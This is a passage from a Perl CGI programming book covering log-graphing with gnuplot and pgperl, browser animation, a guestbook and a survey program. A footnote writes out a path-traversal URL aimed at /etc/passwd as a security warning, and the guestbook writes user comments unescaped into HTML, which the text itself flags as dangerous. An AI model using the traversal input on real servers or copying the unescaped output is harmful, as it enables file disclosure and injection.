$access_log = "/usr/local/bin/httpd_1.4.2/logs/access_log";

The gnuplot utility, as of version v3.5, cannot produce GIF images, but can output PBM (portable bitmap) format files. We'll use the ppmtogif utility to convert the output image from PBM to GIF. The $access_log variable points to the NCSA server log file, which we'll parse.

$process_id = $$;
$output_ppm = join ("", "/tmp/", $process_id, ".ppm");
$datafile = join ("", "/tmp/", $process_id, ".txt");

These variables are used to store the temporary files. The $$ variable refers to the number of the process running this program, as it does in a shell script. I don't care what process is running my program, but I can use the number to create a filename that I know will be unique, even if multiple instances of my program run. (Use of the process number for this purpose is a trick that shell programmers have used for decades.) The process identification is prefixed to each filename.

$x = 0.6;
$y = 0.6;
$color = 1;

The size of the plot is defined to be 60% of the original image in both the x and y directions. All lines in the graph will be red (indicated by a value of 1).

if ( open (FILE, "<" . $access_log) ) {
    for ($loop=0; $loop < 24; $loop++) {
    $time[$loop] = 0;
    }

We open the NCSA server access log for input. The format of each entry in the log is:

host rfc931 authuser [DD/Mon/YY:hh:mm:ss] "request" status_code bytes

where:

  • host is either the DNS name or the IP address of the remote client

  • rfc931 is the remote user (only if rfc931 authentication is enabled)

  • authuser is the remote user (only if NCSA server authentication is enabled)

  • DD/Mon/YY is the day, month, and year

  • hh:mm:ss is 24-hour-based time

  • "request" is the first line of the HTTP request

  • status_code is the status identification returned by the server

  • bytes is the total number of bytes sent (not including the HTTP header)

A 24-element array called @time is initialized. This array will contain the number of accesses for each hour.

    while (<FILE>) {
        if (m|\[\d+/\w+/\d+:([^:]+)|) {
             $time[$1]++;
        }
    }
    close (FILE);

In case you didn't believe me when I said in Chapter 1 that Perl offered superb facilities for CGI programming, this tiny loop contains some proof of what I'm talking about. The regular expression (containing some enhancements that only Perl offers) neatly picks the hour out of the date/time string in the access log by searching for the pattern "[DD/Mon/YY:h:", as follows:

[Graphic: Figure from the text]

Back to the program. If a line matches the pattern, the array element corresponding to the particular hour is incremented.

    &create_output_file();

The subroutine create_output_file is called to create and display the plot.

} else {
    &return_error (500, "Server Log File Error", "Cannot open NCSA server access log!");
}
exit(0);

If the log file can't be opened, thereturn_error subroutine is called to output an error.

The create_output_file subroutine is now defined. It creates a data file consisting of the information in the @time array.

sub create_output_file
{
    local ($loop);
    if ( (open (FILE, ">" . $datafile)) ) {
        for ($loop=0; $loop < 24; $loop++) {
        print FILE $loop, " ", $time[$loop], "\n";
        }
        close (FILE);

        &send_data_to_gnuplot();
    } else {
        &return_error (500, "Server Log File Error", "Cannot write to data file!");
    }
}

The file specified by the variable $datafile is opened for output. The hour and the number of accesses for that hour are written to the file. The hour represents the x coordinate, while the number of accesses represents the y coordinate. The subroutine send_data_to_gnuplot is called to execute gnuplot.

sub send_data_to_gnuplot
{
    open (GNUPLOT, "|$gnuplot");
    print GNUPLOT <<gnuplot_Commands_Done;

We're going to use the same technique we've used throughout the chapter to embed a "language" within a Perl script: We'll open a pipe to a program and write out commands in the language recognized by the program. The open command starts gnuplot, and the print command sends the data to gnuplot through the pipe.

    set term pbm color small
    set output "$output_ppm"
    set size $x, $y
    set title "WWW Server Usage"
    set xlabel "Time (Hours)"
    set ylabel "No. of Requests"
    set xrange [-1:24]
    set xtics 0, 2, 23
    set noxzeroaxis
    set noyzeroaxis
    set border
    set nogrid
    set nokey
    plot "$datafile" w boxes $color
gnuplot_Commands_Done
close (GNUPLOT);

Let's take a closer look at the commands that we send to gnuplot through the pipe. The set term command sets the format for the output file. In this case, the format is a color PBM file with a small font for titles. You can even instruct gnuplot to produce text graphs by setting the term to "dumb."

The output file is set to the filename stored in the variable $output_ppm. The size of the image is set using the size command. The title of the graph and the labels for the x and y axes are specified with the title, xlabel, and ylabel commands, respectively. The range on the x axis is -1 to 24. Even though we are dealing with data from 0 to 23 hours, the range is increased because gnuplot graphs data near the axes abnormally. The tick marks on the x axis range from 0 to 23 in increments of two. The line representing the y axis is removed by the noyzeroaxis command, which makes the graph appear neater. The same is true for the noxzeroaxis command.

The graph is drawn with a border, but without a grid or a legend. Finally, the plot command graphs the data in the file specified by the $datafile variable with red boxes. Several different types of graphs are possible; instead of boxes, you can try "lines" or "points."

        &print_gif_file_and_cleanup();
}

The print_gif_file_and_cleanup subroutine displays this image, and removes the temporary files.

sub print_gif_file_and_cleanup
{
    $| = 1;
    print "Content-type: image/gif", "\n\n";
    system ("$ppmtogif $output_ppm 2> /dev/null");
    unlink $output_ppm, $datafile;
}

The system command executes the ppmtogif utility to convert the PBM image to GIF. This utility writes the output directly to standard output.

You might wonder what the 2> signifies. Like most utilities, ppmtogif prints some diagnostic information to standard error when transforming the image. The 2> redirects standard error to the null device (/dev/null), basically throwing it away.

Finally, we use the unlink command to remove the temporary files that we've created.

The image produced by this program is shown in Figure 6.5.

Figure 6.5: gnuplot graph

[Graphic: Figure 6-5]

Previous | Home | Next
The gd Graphics Library | Book Index | CGI Examples with pgperl
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] 6.5 CGI Examples with pgperl

CGI Programming on the World Wide Web

Previous Chapter 6
Hypermedia Documents 		Next

6.5 CGI Examples with pgperl

gnuplot is concise and fun for throwing up a few charts, but for sophisticated plotting you may want a more powerful package called pgperl. This is a derivative of Perl that supports the PGPLOT FORTRAN plotting library. Typically it has been used to plot astronomical data, but you can use it to graph any type of data.

You can get pgperl from http://www.ast.cam.ac.uk/~kgb/pgperl.html.

What does pgperl offer that gnuplot doesn't? pgperl contains many powerful plotting functions (all beginning with the prefix "pg"), such as a variety of histograms and mapped contours, which gnuplot doesn't have. Another important consideration is that the pgperl graphic routines are incorporated straight into Perl, and thus there is no need to work with temporary files or pipes. Let's take a look at a pgperl example that graphs the information in the NCSA server log file.

Web Server Accesses

Here is a pgperl program that is similar in functionality to the gnuplot example above. It is intended to show you the differences between gnuplot and pgperl.

#!/usr/local/bin/pgperl
require "pgplot.pl";
$webmaster = "shishir\@bu\.edu";
$access_log = "/usr/local/bin/httpd_1.4.2/logs/access_log";

The require command includes the pgperl header file that consists of various PGPLOT functions.

$hours = 23;
$maximum = 0;

The $maximum variable represents the maximum y coordinate when we plot the histogram. It sets the range on the y axis.

$process_id = $$;
$output_gif = join ("", "/tmp/", $process_id, ".gif");

The output_gif variable is used to store the name of a temporary file that will contain the GIF image.

if ( (open(FILE, "<" . $access_log)) ) {
    for ($loop=0; $loop <= $hours; $loop++) {
           $time[$loop] = 0;
           $counter[$loop] = $loop;
    }

Two arrays are initialized to hold the hour and access data. The @time array holds the number of accesses for each hour, and the @counter array represents the hours (0--23).

    while (<FILE>){
        if (m|\[\d+/\w+/\d+:([^:]+)|) {
             $time[$1]++;
        }
}

A regular expression identical to the one presented in the last example is used to determine the number of accesses for each hour.

    close (FILE);
    &find_maximum();
    &prepare_graph();
} else {
    &return_error (500, "Server Log File Error", "Cannot open NCSA server access log!");
}
exit(0);

The find_maximum subroutine determines the maximum y value--or the hour that had the most accesses. And the prepare_graph subroutine calls the various pgperl routines to graph the data.

sub find_maximum
{
    for ($loop=0; $loop <= $hours; $loop++) {
        if ($time[$loop] > $maximum) {
        $maximum = $time[$loop];
        }
    }
    $maximum += 10;
}

Initially, the maximum value is set to zero. The number of accesses for each hour is checked against the current maximum value to determine the absolute maximum. Finally, the maximum value is incremented by 10 so the histogram doesn't look cramped. In other words, the range on the y axis will be 10 greater than the maximum value that falls on the axis.

sub prepare_graph
{
    &pgbegin (0, "${output_gif}/VGIF", 1, 1);
    &pgscr (0, 1, 1, 1);

The pgbegin function creates a portrait GIF image with a black background and stores it in the file specified by $output_gif. The first argument is reserved for future use, and is currently ignored. The third and fourth arguments specify the number of graphs that should fit horizontally and vertically, respectively, in the image. Finally, the pgscr function remaps a color index. In this case, we are remapping color zero (black) to one (white). Unfortunately, this is the only way to change the background color.

&pgpap (4.0, 1.0);

pgpap is used to change the width and aspect ratio (width / height) of the image. Normally, the image size is 8.5 x 11 inches in portrait mode. An aspect ratio is the ratio between the x axis and the y axis; 1.0 produces a square image. For example, an aspect ratio of 0.618 results in a horizontal rectangle, and a ratio of 1.618 results in a vertical rectangle. This function changes the width to four inches and the aspect ratio to one.

&pgscf (2);
&pgslw (3);
&pgsch (1.6);

The pgscf function modifies the font style to Roman. Here is a list of all the styles:

Style | Attribute
1 | Normal
2 | Roman
3 | Italic
4 | Script

The line width and the character height are changed with the pgslw and pgsch functions, respectively.

&pgsci (4);
&pgenv (0, $hours + 1, 0, $maximum, 2, 0);

The pgsci function changes the pen color to blue. We use the pgenv function to draw our axes. The range for the x axis goes from 0 to ($hours + 1), and the range for the y axis is from 0 to the maximum number of accesses plus 10. The fifth argument is responsible for independently scaling the x and y axes. A value of one is used to set equal scales for the x and y axes; any other values cause pgperl to independently scale the axes. The last argument controls the plotting of axes and tick marks. A value of zero instructs pgperl to draw a box around the graph, and to label the coordinates.

    &pgsci (2);
    &pgbin ($hours, *counter, *time, 0);
    &pglabel ("Time (Hours)", "No. of Requests", "WWW Server Usage");
    &pgend;

The pen color is again modified to two (red). The crucial routine here is pgbin. It draws a histogram with 23 values (represented by $hours). The x coordinates are specified by the counter array, and the y coordinates--or the number of accesses--are stored in the time array. Notice how the arrays are passed to the pgbin function; they are passed as references--this is a requirement of pgperl. The last argument instructs pgperl to draw the histogram with the edge of each box located at the corresponding x coordinate.

&print_gif();
}

The print_gif subroutine prints the GIF image to standard output.

sub print_gif
{
       local ($content_length);
       if ( (open (GIF, "<" . $output_gif)) ) {
            $content_length = (stat (GIF))[7];
            print "Content-type: image/gif", "\n";
            print "Content-length: ", $content_length, "\n\n";
            print <GIF>;
            close (GIF);
            unlink $output_gif;
          } else {
              &return_error (500, "Server Log File Error",
                               "Cannot read from the GIF file!");
          }
}

Notice that we use the Content-length header in this subroutine. Whenever you are returning binary data (such as GIF images) and it is possible to determine the size of the image, you should make it a habit to send this header. The stat command returns the file size of the graphic image. The file is printed to standard output, and deleted. If you like, you can use the algorithm in Chapter 3 to return the GIF image in small pieces.

Figure 6.6 shows the image created by this script.

Figure 6.6: pgperl graph

[Graphic: Figure 6-6]

Previous | Home | Next
CGI Examples with gnuplot | Book Index | Animation
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] 6.6 Animation

CGI Programming on the World Wide Web

Previous Chapter 6
Hypermedia Documents 		Next

6.6 Animation

Although Java is being touted as the best way to do animation on the Web, you can also write CGI programs to produce animation. There are two mechanisms for creating animation: client pull and server push. In client pull, a new HTTP connection is opened every time a document is requested. In server push, however, the connection is kept open until all the data is received by the client. That is the main difference between the two mechanisms. As a result, you can have an animation in an otherwise static document by using the HTML <IMG> tag to access the CGI program instead of a URL to an image, as introduced in the "Inserting Multiple Dynamic Images" section at the beginning of this chapter.

Client pull requires a special directive either in the HTML document header or as a part of the CGI program's HTTP response. This directive instructs the client to retrieve a specified document after a certain amount of time. In other words, the client opens a new connection to the server for each updated image (see Figure 6.7).

Figure 6.7: Animation using client pull

[Graphic: Figure 6-7]

Server push involves sending packets of data to the client periodically, as shown in Figure 6.8. The HTTP connection between the client and the server is kept open indefinitely. Server push can be implemented in a CGI program through the use of the multipart/x-mixed-replace MIME type.

Both client pull and server push are supported only by Netscape Navigator (version 1.1 and higher) and Internet Explorer.

Figure 6.8: Animation using server push

[Graphic: Figure 6-8]

Client Pull

Here is a simple example of an HTML document that displays the time continuously:

<META HTTP-EQUIV="Refresh" CONTENT=5>
<!--#echo var="DATE_LOCAL"-->

Animation depends on updating the browser's window at regular intervals with new material from the server. Browsers provide a way to update their windows called refreshing. In the example shown above, we trick the browser into issuing its refresh command every five seconds, so that it retrieves the document. The document simply uses server side includes to display the current time. (See Chapter 5 for more information on Server Side Includes.)

The META tag is part of the HTML 3.0 specification used to simulate HTTP response headers in HTML documents. In this case, it is used to simulate the "Refresh:" HTTP header with a delay of five seconds.

The "Refresh:" header is non-repeating; it does not load the document repeatedly. However, in this example, "Refresh:" is specified on each retrieval, creating a continuous display.

Here is an example of a CGI program that performs the same operation as the previous HTML code:

#!/usr/local/bin/perl
$delay = 5;
$date = "/bin/date";
print "Refresh: ", $delay, "\n";
print "Content-type: text/plain", "\n\n";
print `$date`;
exit(0);

Remember, SSI directives cannot be included in a CGI program. So, the date command is used to output the current date and time.

Now, let's look at the directive used to load a different document after a specified time:

<META HTTP-EQUIV="Refresh" CONTENT="5; URL=http://your.machine/name.html">

This example loads the file specified by the URL after five seconds. If the file name.html does not contain another "Refresh:" header, there is no animation, because "Refresh:" is non-repeating. The corresponding CGI statement would be:

print "Refresh: 5; URL=http://your.machine/name.html", "\n";

As a final example of client pull, here's a CGI program that loads a document with a random fortune message every ten seconds.

#!/usr/local/bin/perl
$fortune = "/usr/local/bin/fortune";
$refresh_time = 10;
print "Refresh: ", $refresh_time, "\n";
print "Content-type: text/plain", "\n\n";
print "Here is another fortune...", "\n";
print `$fortune`;
exit(0);

This is a repeating document, because a "Refresh:" header is specified every time the program is executed. The program uses the UNIX fortune command, which generates a random fortune each time it is invoked.

Server Push

Server push animations can be created using the multipart/x-mixed-replace MIME type. The "replace" indicates that each data packet replaces the previous data packet. As a result, you can make smooth animations. Here is the format in which this MIME type is used:

Content-type: multipart/x-mixed-replace;boundary=End
--End
Content-type: image/gif
Image #1
--End
Content-type: image/gif
Image #2
--End
Content-type: image/gif
Image #3
--End--

In the first Content-type declaration, we declare the multipart/x-mixed-replace content types and establish "End" as the boundary string. We then repeatedly display new images (declaring new content types of image/gif), ending each image with the "--End" string. The result is that the images are displayed one after another.

Let's look at an example that uses the server push mechanism.

#!/usr/local/bin/perl
$| = 1;
$webmaster = "shishir\@bu\.edu";
$boundary_string = "\n" . "--End" . "\n";
$end_of_data = "\n" . "--End--" . "\n";
$delay_time = 1;

First, we define the boundary strings that need to be sent to the client. We also set the delay time between images-- in this case, one second.

@image_list = ( "image_1.gif",
                 "image_2.gif",
                 "image_3.gif",
                 "image_4.gif",
                 "image_5.gif"  );

All of the images that will be used in the animation are stored in the @image_list array. In this simple example, we use only 5 images.

$browser = $ENV{'HTTP_USER_AGENT'};
if ($browser =~ m#^Mozilla/(1\.[^0]|[2-9])#) {
    print "Content-type: multipart/x-mixed-replace;boundary=End", "\n";

The name of the client browser is obtained using the environment variable HTTP_USER_AGENT. If the browser is Netscape version 1.1 or higher, the multipart MIME type is sent to it, along with the initial boundary string. (Netscape uses "Mozilla" as its user agent string.)

    for ($loop=0; $loop < scalar (@image_list); $loop++) {
        &open_and_display_GIF ($image_list[$loop]);
        print $boundary_string;
        sleep ($delay_time);
    }
    print $end_of_data;

A loop is used to iterate through the image_list array. Each image is displayed using the open_and_display_GIF subroutine. A boundary is then sent to the client, and the program proceeds to sleep for the specified amount of time. It is important to print the boundary after the image and before the sleep command to ensure that the server "pushes" the entire image to the client. The process is repeated for all the images in the array. Finally, the terminating boundary string is sent to the client.

} else {
    &open_and_display_GIF ($image_list[0]);
}
exit(0);

If the browser is not Netscape version 1.1 or higher, only the first image stored in the array is displayed.

sub open_and_display_GIF
{
           local ($file) = @_;
           local ($content_length);
           if ( (open (FILE, "<" . $file)) ) {
           $content_length = (stat (FILE))[7];
           print "Content-type: image/gif", "\n";
           print "Content-length: ", $content_length, "\n\n";
           print <FILE>;
           close (FILE);
       } else {
           &return_error (500, "File Access Error",
               "Cannot open graphic file $file!");
       }
}

This routine should be very familiar to you. First, it sends the image/gif MIME type, along with the length of the image. Then, the image is printed to standard output.

One final note: If you are using an NCSA server, it is better to create the CGI server push animation program as a non-parsed header ("nph") script, as described in Chapter 3, Output from the Common Gateway Interface. That way the server will not parse the HTTP headers, and instead will send the information directly to the client. The main advantage of this is reduced "jerkiness" in the animation. Just to refresh your memory, you need to name the script with an "nph-" prefix, and the first lines that are output from your script should be:

    print "HTTP/1.0 200 OK", "\n";
    print "Content-type: multipart/x-mixed-replace;boundary=End", "\n";

Previous | Home | Next
CGI Examples with pgperl | Book Index | Advanced Form Applications
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] Advanced Form Applications

CGI Programming on the World Wide Web

Previous Chapter 7 Next

7. Advanced Form Applications

Contents:
Guestbook
Survey/Poll and Pie Graphs
Quiz/Test Form Application
Security

Four different CGI applications are presented in this chapter, all of which use queries and form information to produce some interesting documents with hypertext and graphics. These applications include:

  • Guestbook: A form interface for users to leave comments on a particular Web page for other people to see. The concepts behind the guestbook are very simple: Present a form to the user to fill out, process the form information, and store it in a file.

  • Poll or a Survey: A CGI program that allows you to solicit opinions from users and present them with a dynamically created pie graph illustrating the up-to-date results. This application involves displaying a form and manipulating and storing the form data into a format that we can read easily and quickly at a later time. When the user elects to see the current results, we simply read in all of the data and graph it.

  • Quiz/Test: A unique interface that shows you how to "extend" HTML by adding new tags! This CGI application reads the specified data file consisting of tags to create quizzes (as well as regular HTML), formats it to HTML, and sends it to the browser. It will also correct the quiz once the user completes it.

7.1 Guestbook

One of the most common applications on the Web is a guestbook. It is simply a form that allows visitors to enter some information about themselves. This information is placed in a file for everyone to see. Here are the steps that need to be taken to create a guestbook:

  • Display a form with such fields as name, email address, and comments

  • Write a CGI program to decode the form

  • Place the information in a file

The program begins as follows:

#!/usr/local/bin/perl
$webmaster = "shishir\@bu\.edu";
$method = $ENV{'REQUEST_METHOD'};
$script = $ENV{'SCRIPT_NAME'};
$query  = $ENV{'QUERY_STRING'};
$document_root = "/usr/local/bin/httpd_1.4.2/public";
$guest_file = "/guestbook.html";
$full_path = $document_root . $guest_file;

In this initialization code, the document_root variable is the directory that contains your HTML files. Set this variable to the value of DocumentRoot, as defined in the srm.conf configuration file. The guest_file variable contains the relative path to the guestbook file, relative to DocumentRoot. And full_path represents the full path to the guestbook file. It is very important to separate the full path from the relative path, as you will see in a moment.

$exclusive_lock = 2;
$unlock = 8;

The lock definitions are stored in the exclusive_lock and unlock variables, respectively.

if ($method eq "GET") {
    if ($query eq "add") {

This program is coded slightly differently from the programs that you have seen in this book. Let's first see how this program can be accessed:

  • A URL of http://your.machine/cgi-bin/guestbook.pl?add, using the GET method, will present a form for visitors to enter information.

  • A URL of http://your.machine/cgi-bin/guestbook.pl, using the GET method, will display the actual guestbook file. (The user can also see the guestbook file by opening that file directly, e.g., by accessing http://your.machine/guestbook.html.)

  • When the form is submitted using the POST method, this program decodes the information, and outputs a thank-you message.

As you can see, this program is very versatile. It handles all tasks of the guestbook. You could just as easily split the program into its constituents: an HTML form, a program to display the guestbook (optional), and a program to decode the form information. There are advantages either way. Combining all tasks into the single program ensures that all components of the program are in one place, and files cannot be accidentally misplaced. On the other hand, separating them ensures that each component of the guestbook is independent, and can be modified without risking the integrity of the other components. It is matter of personal preference.

        $date_time = &get_date_time();

The get_date_time subroutine displays the current date and time.

        &MIME_header ("text/html", "Shishir Gundavaram's Guestbook");

The MIME_header subroutine outputs a chosen MIME header, and sets the title of the document to the user-specified argument. The only reason for the subroutine is to make the program more compact.

        print <<End_Of_Guestbook_Form;
This is a guestbook CGI script that allows people to leave some
information for others to see. Please enter all requested
information, <B>and</B> if you have a WWW server, enter the address
so a hypertext link can be created.
<P>
The current time is: $date_time
<HR>

First, an introductory message is displayed, along with the current date and time. (You cannot call subroutines from within print "blocks," so the get_date_time subroutine to get the date and time was called earlier and placed in the date_time variable.).

<FORM METHOD="POST">
<PRE>
<EM>Full Name</EM>:      <INPUT TYPE="text" NAME="name" SIZE=40>
<EM>Email Address</EM>:  <INPUT TYPE="text" NAME="from" SIZE=40>
<EM>WWW Server</EM>:     <INPUT TYPE="text" NAME="www"  SIZE=40>
</PRE>
<P>
<EM>Please enter the information that you'd like to add:</EM><BR>
<TEXTAREA ROWS=3 COLS=60 NAME="comments"></TEXTAREA><P>
<INPUT TYPE="submit" VALUE="Add to Guestbook">
<INPUT TYPE="reset"  VALUE="Clear Information"><BR>
<P>
</FORM>
<HR>
End_Of_Guestbook_Form

As you can see, there is no ACTION attribute to the <FORM> tag. By omitting the ACTION attribute, the browser defaults to sending the completed form to the current CGI program. The METHOD is set to POST--as we'll see later, this is how the guestbook program will know the form has been completed.

The various elements that comprise a form are output. The <PRE> tags align the text fields. Figure 7.1 shows how a completed form is rendered by Netscape Navigator.

Figure 7.1: Guestbook form

[Graphic: Figure 7-1]

If there was no query specified, the guestbook data file is displayed for output.

    } else {
 if ( open(GUESTBOOK, "<" . $full_path) ) {
            flock (GUESTBOOK, $exclusive_lock);

The full_path variable contains the full path to the guestbook file. The main reason for storing the relative path and full path separately is that hypertext anchors need the relative path, while the full path is needed to open the file. Before you open any file, it is always a good idea to check that the file can be opened.

            &MIME_header ("text/html", "Here is my guestbook!");

            while (<GUESTBOOK>) {
                print;
            }

            flock (GUESTBOOK, $unlock);
            close(GUESTBOOK);

The loop iterates through each line of the file and displays it to standard output. Figure 7.2 shows the output.

Figure 7.2: Guestbook output

[Graphic: Figure 7-2]

        } else {
            &return_error (500, "Guestbook File Error",
                                  "Cannot read from the guestbook file [$full_path].");
        }
    }

If there were any problems opening the file, an error message is sent to the client. The return_error subroutine is the same as the one presented in Chapter 4, Forms and CGI.

Remember the "add" form, in which the <FORM> tag used a METHOD of POST? Here's where the form is processed. If the request method is POST, it means that the user filled out the form, and submitted it back to this program.

} elsif ($method eq "POST") {
 if ( open (GUESTBOOK, ">>" . $full_path) ) {
        flock (GUESTBOOK, $exclusive_lock);
        $date_time = &get_date_time();
        &parse_form_data (*FORM);

Now we add the new entry to the guestbook. First, the program checks to see if it can write to the guestbook file. If there are no errors, the file is opened in append mode, and exclusively locked. The form information is decoded and placed in the FORM associative array. The parse_form_data subroutine in this program is slightly different than the one we've previously encountered in Chapter 4, Forms and CGI; it does not check for GET requests, since the program only uses it for POST.

        $FORM{'name'}  = "Anonymous User"       if !$FORM{'name'};
        $FORM{'from'}  = $ENV{'REMOTE_HOST'}    if !$FORM{'from'};

Above is a construct you might not have seen before. It is a simpler way of saying:

if (!$FORM{'name'}) {
    $FORM{'name'} = "Anonymous User";
}
if (!$FORM{'from'}) {
    $FORM{'from'}=$ENV{'REMOTE_HOST'};
}

In other words, the form variables name and from are checked for valid information. If the fields are empty, default information is stored.

        $FORM{'comments'} =~ s/\n/<BR>/g;

The information that the user entered in the <TEXTAREA> field is stored in comments. Every newline character is replaced by the HTML break tag. This ensures that the information is displayed correctly. Note that if the user enters HTML code (or SSI directives) as part of the comments, the code will be interpreted. This could be dangerous. See Chapter 9, Gateways, Databases, and Search/Index Utilities, for an intricate regular expression that "escapes" HTML code.

            print GUESTBOOK <<End_Of_Write;
<P>
<B>$date_time:</B><BR>
Message from <EM>$FORM{'name'}</EM> at <EM>$FORM{'from'}</EM>:
<P>
$FORM{'comments'}
End_Of_Write

The user name, host, and comments, along with the current date and time, are written to the guestbook file.

        if ($FORM{'www'}) {
            print GUESTBOOK <<End_of_Web_Address;

<P>
$FORM{'name'} can also be reached at:
<A HREF="$FORM{'www'}">$FORM{'www'}</A>
End_of_Web_Address
        }

        print GUESTBOOK "<P><HR>";

If an HTTP address was provided by the user, it is also displayed.

        flock (GUESTBOOK, $unlock);
        close(GUESTBOOK);

The file is unlocked and closed. It is very important to unlock and close the guestbook file to ensure that other people can access it.

Finally, if all goes well, a thank-you message is displayed, as well as links to view the guestbook.

        &MIME_header ("text/html", "Thank You!");

        print <<End_of_Thanks;

Thanks for visiting my guestbook. If you would like to see the guestbook,
click <A HREF="$guest_file">here</A> (actual guestbook HTML file),
or <A HREF="$script">here</A> (guestbook script without a query).
End_of_Thanks

If the program cannot write to the guestbook file, an error message is generated. Another error is sent if an invalid request method is used to access this CGI program.

     } else {
        &return_error (500, "Guestbook File Error",
                    "Cannot write to the guestbook file [$full_path].")
    }
} else {
    &return_error (500, "Server Error",
                        "Server uses unsupported method");
}
exit(0);

The MIME_header subroutine simply displays a MIME header, as well as a title and heading for the document. If the third argument is not specified, the heading will be the same as the title.

sub MIME_header
{
    local ($mime_type, $title_string, $header) = @_;
    if (!$header) {
        $header = $title_string;
    }
    print "Content-type: ", $mime_type, "\n\n";
    print "<HTML>", "\n";
    print "<HEAD><TITLE>", $title_string, "</TITLE></HEAD>", "\n";
    print "<BODY>", "\n";
    print "<H1>", $header, "</H1>";
    print "<HR>";
}

The get_date_time subroutine returns the current date and time.

sub get_date_time
{
    local ($months, $weekdays, $ampm, $time_string);
    $months = "January/February/March/April/May/June/July/" .
              "August/September/October/November/December";
    $weekdays = "Sunday/Monday/Tuesday/Wednesday/Thursday/Friday/Saturday";
    local ($sec, $min, $hour, $day, $nmonth, $year, $wday, $yday, $isdst)
              = localtime(time);

The localtime function returns a nine-element array, which consists of the time, the date, and the present time zone. In previous examples, we were using only the first three elements of this array; in this example, we're assigning all nine.

    if ($hour > 12) {
        $hour -= 12;
        $ampm = "pm";
    } else {
        $ampm = "am";
    }
    if ($hour == 0) {
           $hour = 12;
    }
    $year += 1900;
    $week  = (split("/", $weekdays))[$wday];
    $month = (split("/", $months))[$nmonth];

The week and the numerical month returned by the localtime function are zero based. The week variable is set to the alphanumeric weekday name by retrieving the string corresponding to the numerical weekday from the variable weekdays. The same process is repeated to determine the alphanumeric month name.

    $time_string = sprintf("%s, %s %s, %s - %02d:%02d:%02d %s",
                                $week, $month, $day, $year,
                                $hour, $min, $sec, $ampm);
    return ($time_string);
}

Finally, the date returned by the get_date_time subroutine is in the form of:

Friday, August 18, 1995 - 02:07:45 pm

The last subroutine in the guestbook application is parse_form_data.

sub parse_form_data
{
    local (*FORM_DATA) = @_;

    local ( $request_method, $post_info, @key_value_pairs,
                  $key_value, $key, $value);
    read (STDIN, $post_info, $ENV{'CONTENT_LENGTH'});
    @key_value_pairs = split (/&/, $post_info);
    foreach $key_value (@key_value_pairs) {
        ($key, $value) = split (/=/, $key_value);
        $value =~ tr/+/ /;
        $value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
        if (defined($FORM_DATA{$key})) {
            $FORM_DATA{$key} = join ("\0", $FORM_DATA{$key}, $value);
        } else {
            $FORM_DATA{$key} = $value;
        }
    }
}

As mentioned earlier, this subroutine does not check for GET requests. There is no need to do so, because the loop in the main program does the needed checking.

Previous | Home | Next
Animation | Book Index | Survey/Poll and Pie Graphs
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.2 Survey/Poll and Pie Graphs

CGI Programming on the World Wide Web

Previous Chapter 7
Advanced Form Applications 		Next

7.2 Survey/Poll and Pie Graphs

Forms and CGI programs make it easier to conduct surveys and polls on the Web. Let's look at an application that tabulates poll data and dynamically creates a pie graph illustrating the results.

This application actually consists of three distinct parts:

  • The HTML document with the form for conducting the poll

  • The CGI program, ice_cream.pl, that processes the form results and places them in a data file

  • The CGI program, pie.pl, that reads the data file and displays the tabulated results either as a pie graph or as a text table

Here is the form that the user will see:

<HTML><HEAD><TITLE>Ice Cream Survey</TITLE></HEAD>
<BODY>
<H1>Favorite Ice Cream Survey</H1>
<HR>
<FORM ACTION="/cgi-bin/ice_cream.pl" METHOD="POST">
What is your favorite flavor of ice cream?
<P>
<INPUT TYPE="radio" NAME="ice_cream" VALUE="Vanilla" CHECKED>Vanilla<BR>
<INPUT TYPE="radio" NAME="ice_cream" VALUE="Strawberry">Strawberry<BR>
<INPUT TYPE="radio" NAME="ice_cream" VALUE="Chocolate">Chocolate<BR>
<INPUT TYPE="radio" NAME="ice_cream" VALUE="Other">Other<BR>
<P>
<INPUT TYPE="submit" VALUE="Submit the survey">
<INPUT TYPE="reset"  VALUE="Clear your choice">
</FORM>
<HR>
If you would like to see the current results, click
<A HREF="/cgi-bin/pie.pl/ice_cream.dat">here</A>.
</BODY>
</HTML>

It is a simple form that asks a single question. The form is shown in Figure 7.3.

Figure 7.3: Ice cream form

[Graphic: Figure 7-3]

Notice the use of extra path information in the HREF anchor at the bottom of the form (see code above). This path information represents the data file for this survey, ice.cream.dat, and will be stored in the environment variable PATH_INFO. We could have also used a query in the form of:

<A HREF="/cgi-bin/pie.pl?/ice_cream.dat">here</A>.

But since we are passing a filename, it seems more logical to pass the information as an extra path. If we were passing the information as a query string, we would have had to encode some of the characters.[1] Let's look at the format of the data file:

[1] There is also a potential security risk if the CGI program accepts a filename as a query. For example, a malicious user could access the program with a URL like:

http://your.machine/cgi-bin/pie.pl?%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
The query string decodes to "../../../etc/passwd". This could be a problem if the hacker guessed correctly, and the CGI program displays information from the file. A CGI programmer has to be very careful when evaluating queries.

Vanilla::Strawberry::Chocolate::Other
0::0::0::0
red::yellow::blue::green

As you can see, the string "::" separates each entity throughout the file. A unique separator should be used whenever you are dealing with data to ensure that it does not get mixed up with the data.

The first line contains all of the selections within the poll. The second line contains the actual data (initially, all values should be zero). And the last line represents the colors to be used to graph the options. In other words, red is used to draw the slice representing Vanilla in the pie graph. The range of colors is limited to the ones defined in the CGI pie graphics program, as you will see.

Processing the Form

The CGI program (ice_cream.pl) decodes the form information, tabulates it, and adds it to the data file. The program does not contain the form.

The program begins as follows:

#!/usr/local/bin/perl
$webmaster = "shishir\@bu\.edu";
$document_root = "/usr/local/bin/httpd_1.4.2/public";
$ice_cream_file = "/ice_cream.dat";
$full_path = $document_root . $ice_cream_file;
$exclusive_lock = 2;
$unlock = 8;
&parse_form_data(*poll);
$user_selection = $poll{'ice_cream'};

The form information is placed in the poll associative array. The parse_form_data subroutine is the same one we used previously. Since parse_form_data decodes both GET and POST submissions, users can submit their favorite flavor either with a GET query or through a form. The ice_cream field, which represents the user's selection, is stored in the user_selection variable.

if ( open (POLL, "<" . $full_path) ) {
    flock (POLL, $exclusive_lock);
    for ($loop=0; $loop < 3; $loop++) {
